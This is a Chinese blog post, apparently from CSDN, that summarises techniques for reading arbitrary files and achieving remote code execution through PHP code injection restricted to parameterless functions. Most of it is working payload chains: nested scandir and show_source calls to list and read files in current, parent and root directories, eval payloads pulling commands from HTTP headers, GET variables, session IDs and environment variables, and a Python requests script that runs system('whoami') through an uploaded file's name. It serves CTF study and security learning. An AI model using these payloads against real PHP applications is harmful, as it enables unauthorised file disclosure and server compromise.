php无参数函数实现rce,无参数读文件和RCE总结

chr(time)

chr(current(localtime(time)))

chr(time) :

chr 函数以256为一个周期,所以 chr(46) , chr(302) , chr(558) 都等于 "."

所以使用 chr(time) ,一个周期必定出现一次 "."

chr(current(localtime(time))) :

数组第一个值每秒+1,所以最多60秒就一定能得到46,用 current(pos) 就能获得 "."

96e9c2fa5cb2c2997c29c594c9ba6013.png

phpversion

phpversion 返回PHP版本,如 5.5.9

floor(phpversion) 返回 5

ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion))))))) 返回 46

d862ecd6b2052bd0f333a98df2d8f320.png

chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion)))))))) 返回 "."

crypt

hebrevc(crypt(arg)) 可以随机生成一个hash值,第一个字符随机是 $ (大概率) 或者 "." (小概率) 然后通过 chr(ord) 只取第一个字符

ps: ord 返回字符串中第一个字符的Ascii值

print_r(scandir(chr(ord(hebrevc(crypt(time))))));//(多刷新几次)

69635431eb33f26ef80506f5f78d9702.png

同理: strrev(crypt(serialize(array))) 也可以得到 "." ,只不过 crypt(serialize(array)) 的点出现在最后一个字符,需要使用 strrev 逆序,然后使用 chr(ord) 获取第一个字符

print_r(scandir(chr(ord(strrev(crypt(serialize(array)))))));

b3ffe0ec769f4512ea1d6e4b4cacf2ee.png

PHP的函数如此强大,获取 "." 的方法肯定还有许多

正常的,我们还可以用 print_r(scandir('绝对路径')); 来查看当前目录文件名

获取绝对路径可用的有 getcwd 和 realpath('.')

所以我们还可以用 print_r(scandir(getcwd)); 输出当前文件夹所有文件名

c2556de3ce9bb4135bebf02a6d631485.png

读取当前目录文件

通过前面的方法输出了当前目录文件名,如果文件不能直接显示,比如PHP源码,我们还需要使用函数读取:

前面的方法输出的是数组,文件名是数组的值,那我们要怎么取出想要读取文件的数组呢:

查询PHP手册发现:

5bd2f8a43b152fadcac7dcb22f107f89.png

手册里有这些方法,如果要获取的数组是最后一个我们可以用:

show_source(end(scandir(getcwd))); 或者用 readfile 、 highlight_file 、 file_get_contents 等读文件函数都可以(使用 readfile 和 file_get_contents 读文件,显示在源码处)

ps: readgzfile 也可读文件,常用于绕过过滤

我们添加 zflag.php 使其排序在 index.php 后成为最后一个文件

99a7c2e7e36994ca694b5213d411311c.png

20433f03f852bb6f2243f0a8e92227bc.png

(出现报错的原因是PHP5.3以上默认只能传递具体的变量,而不能通过函数返回值传递,没有关系不影响我们读文件)

介绍一个函数: array_reverse 以相反的元素顺序返回数组

zflag.php 本来在最后一位,反过来就成为第一位,可以直接用 current(pos) 读取

show_source(current(array_reverse(scandir(getcwd))));

d20c2ffc6fdd519e5f264ccf42667c3a.png

如果是倒数第二个我们可以用:

show_source(next(array_reverse(scandir(getcwd))));

如果不是数组的最后一个或者倒数第二个呢?

我们可以使用 array_rand(array_flip) , array_flip 是交换数组的键和值, array_rand 是随机返回一个数组

所以我们可以用:

show_source(array_rand(array_flip(scandir(getcwd))));

或者:

show_source(array_rand(array_flip(scandir(current(localeconv)))));

(可以自己结合前面总结的构造 "." 的方法切合实际过滤情况读取,后文就只列举简单的语句)

多刷新几次,就读到了正着数或者倒着数都是第三位的 flag1.php :

a0f8a3bf8f5bd6fab332635dbfd88fbc.png

如果目标文件不在当前目录呢?

查看上一级目录文件名

再介绍几个函数:

dirname :返回路径中的目录部分,比如:

47b21712d0e40ec0e6a40d603f85c0cd.png

e10ed27b718c44348e7f393b7b68ec27.png

从图中可以看出,如果传入的值是绝对路径(不包含文件名),则返回的是上一层路径,传入的是文件名绝对路径则返回文件的当前路径

chdir :改变当前工作目录

dirname方法

print_r(scandir(dirname(getcwd))); //查看上一级目录的文件

29603d9901cdb51873a2e90ccdcff869.png

构造 ".."

print_r(next(scandir(getcwd))); :我们 scandir(getcwd) 出现的数组第二个就是 ".." ,所以可以用 next 获取

print_r(scandir(next(scandir(getcwd))));//也可查看上级目录文件

结合上文的一些构造都是可以获得 ".." 的 :

next(scandir(chr(ord(hebrevc(crypt(time))))))

读取上级目录文件

直接 print_r(readfile(array_rand(array_flip(scandir(dirname(getcwd)))))); 是不可以的,会报错,因为默认是在当前工作目录寻找并读取这个文件,而这个文件在上一层目录,所以要先改变当前工作目录

前面写到了 chdir ,使用:

show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd)))))));

即可改变当前目录为上一层目录并读取文件:

fc3d8b90b1be4b4653e0613e6e3b32ee.png

如果不能使用 dirname ,可以使用构造 ".." 的方式切换路径并读取:

但是这里切换路径后 getcwd 和 localeconv 不能接收参数,因为语法不允许,我们可以用之前的 hebrevc(crypt(arg))

这里 crypt 和 time 可以接收参数,于是构造:

show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd)))))))))));或更复杂的:show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion)))))))))))))));还可以用:show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位

多刷新几次:

18e6674460cc495df9bdb5b99a70a75e.png

还有一种构造方法 if :(这种更直观些,并且不需要找可接收参数的函数)

if(chdir(next(scandir(getcwd))))show_source(array_rand(array_flip(scandir(getcwd))));

127fdf151a4d1932b6c22cf7c1b72758.png

查看和读取多层上级路径的就不写了,一样的方式套娃就行查看和读取根目录文件

print_r(scandir(chr(ord(strrev(crypt(serialize(array)))))));

strrev(crypt(serialize(array))) 所获得的字符串第一位有几率是 / ,所以使用以上payload可以查看根目录文件

c7e9909d6716ed89b00a65d83270231e.png

但是有权限限制,linux系统下需要一定的权限才能读到,所以不一定成功

568aa6b18bd075e4badc1fe0ae7bbbcd.png

同样的:

if(chdir(chr(ord(strrev(crypt(serialize(array)))))))print_r(scandir(getcwd));

也可以查看根目录文件,但是也会受到权限限制,不一定成功

读根目录文件:(也是需要权限)

if(chdir(chr(ord(strrev(crypt(serialize(array)))))))show_source(array_rand(array_flip(scandir(getcwd))));

读文件暂时就写这么多,肯定还有许多函数可以达到相同效果,等待大佬的发掘吧

无参数命令执行(RCE)

我们可以使用无参数函数任意读文件,也可以执行命令:

既然传入的 code 值不能含有参数,那我们可不可以把参数放在别的地方, code 用无参数函数来接收参数呢?这样就可以打破无参数函数的限制:

首先想到 headers ,因为 headers 我们用户可控,于是在PHP手册中搜索: headers

cde6f282a2adfe514ab64b9e06a8b9a8.png

经过查找,发现 getallheaders 和 apache_request_headers

getallheaders&apache_request_headers

getallheaders 是 apache_request_headers 的别名函数,但是该函数只能在 Apache 环境下使用

8db2727fc3c477e5dad4d215a163ec0c.png

接下来利用方式就多了,任何 header 头部都可利用:

b9353d832e828ca632524d8236fcdb8b.png

我们可以使用:

?code=eval(pos(getallheaders));//headerLeon: phpinfo;

725cab4822c8e8bcdedc79a7fd58fc63.png

因为我这里 Leon: phpinfo; 排在第一位,所以直接用 pos(current的别名) 取第一个数组的值

7ccaa06c964a28f5d77b30d5a796ca48.png

当然,在系统函数没有禁用的情况下,我们还可以直接使用系统函数:

247a58a558c585416b1f464242bc0190.png

根据位置的不同,可以结合前文,构造获取不同位置的数组

除了可以获得 headers ,PHP有个函数可以获得所有PHP变量:

get_defined_vars

6a70fd70ab7e08e1cc3c297c4273c908.png

该函数会返回全局变量的值,如get、post、cookie、file数据

64fc3702f5eaee3d23a59f99838e9723.png

这里要注意, leon=>phpinfo; 在 _GET 数组中,所以需要使用两次取数组值:

第一次:

44f187ce1da37920e497bbc885bb1f3a.png

第二次:

a5e2f1e330782c0160fc16ba143e5d7b.png

所以,利用get传递新变量可以造成命令执行,post、cookie同理,这里就不演示了

?leon=phpinfo;&code=eval(pos(pos(get_defined_vars)));

593dba95ccf206365512f27e6637d692.png

如何利用file变量进行rce呢?

import requestsfiles = {"system('whoami');": ""}#data = {#"code":"eval(pos(pos(end(get_defined_vars))));"#}r = requests.post('http://127.0.0.1/333/222/111/index.php?code=eval(pos(pos(end(get_defined_vars))));', files=files)print(r.content.decode("utf-8", "ignore"))

这里要注意的是,file数组在最后一个,需要end定位,因为payload直接放在文件的名称上,再pos两次定位获得文件名

2ca00b5a222bb6b5a7bd0f6e424d520c.png

session_id

session_id :可以用来获取/设置 当前会话 ID。

session需要使用 session_start 开启,然后返回参数给 session_id

但是有一点限制:文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - 减号)

但是 hex2bin 函数可以将十六进制转换为ASCII 字符,所以我们传入十六进制并使用 hex2bin 即可

73d6161fd5512574eb7c46b37e7d22d4.png

5188ca0630deae4e3561d42af9c3c326.png

eval(hex2bin(session_id(session_start)));>>> print'phpinfo;'.encode('hex')706870696e666f28293b

Cookie: PHPSESSID=706870696e666f28293b

getenv

getenv :获取环境变量的值(在PHP7.1之后可以不给予参数)

所以该函数只适用于PHP7.1之后版本,否则会出现: Warning: getenv expects exactly 1 parameter, 0 given in ... 报错

b59437bf0e9e2fe6eb04b6eaf8f84d59.png

getenv 可以用来收集信息,实际利用一般无法达到命令执行效果,因为默认的 php.ini 中, variables_order 值为: GPCS

也就是说系统在定义PHP预定义变量时的顺序是 GET,POST,COOKIES,SERVER ,没有定义 Environment(E) ,你可以修改 php.ini 文件的 variables_order 值为你想要的顺序,如: "EGPCS" 。这时, $_ENV 的值就可以取得了

caebe48dce2b90ac175c1c220c017e48.png

我们来看修改后的值:(环境不同,环境变量显示也不同)

e435b09da66f8dc1c2ef5ad01d50552d.png

对此我们可以加以利用,方法同上文:

c60ac45556d1b70bd42fd45909f242b3.png

小结

无参数RCE和文件读取实际情况下会存在许多过滤,需要自己结合以上方法绕过,主要还是考察对PHP函数的熟练程度

参考

PHP Parametric Function RCE( https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/)

实验推荐

MetInfo任意文件读取

(通过该实验掌握MetInfo任意文件读取漏洞的原因和利用方法)

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值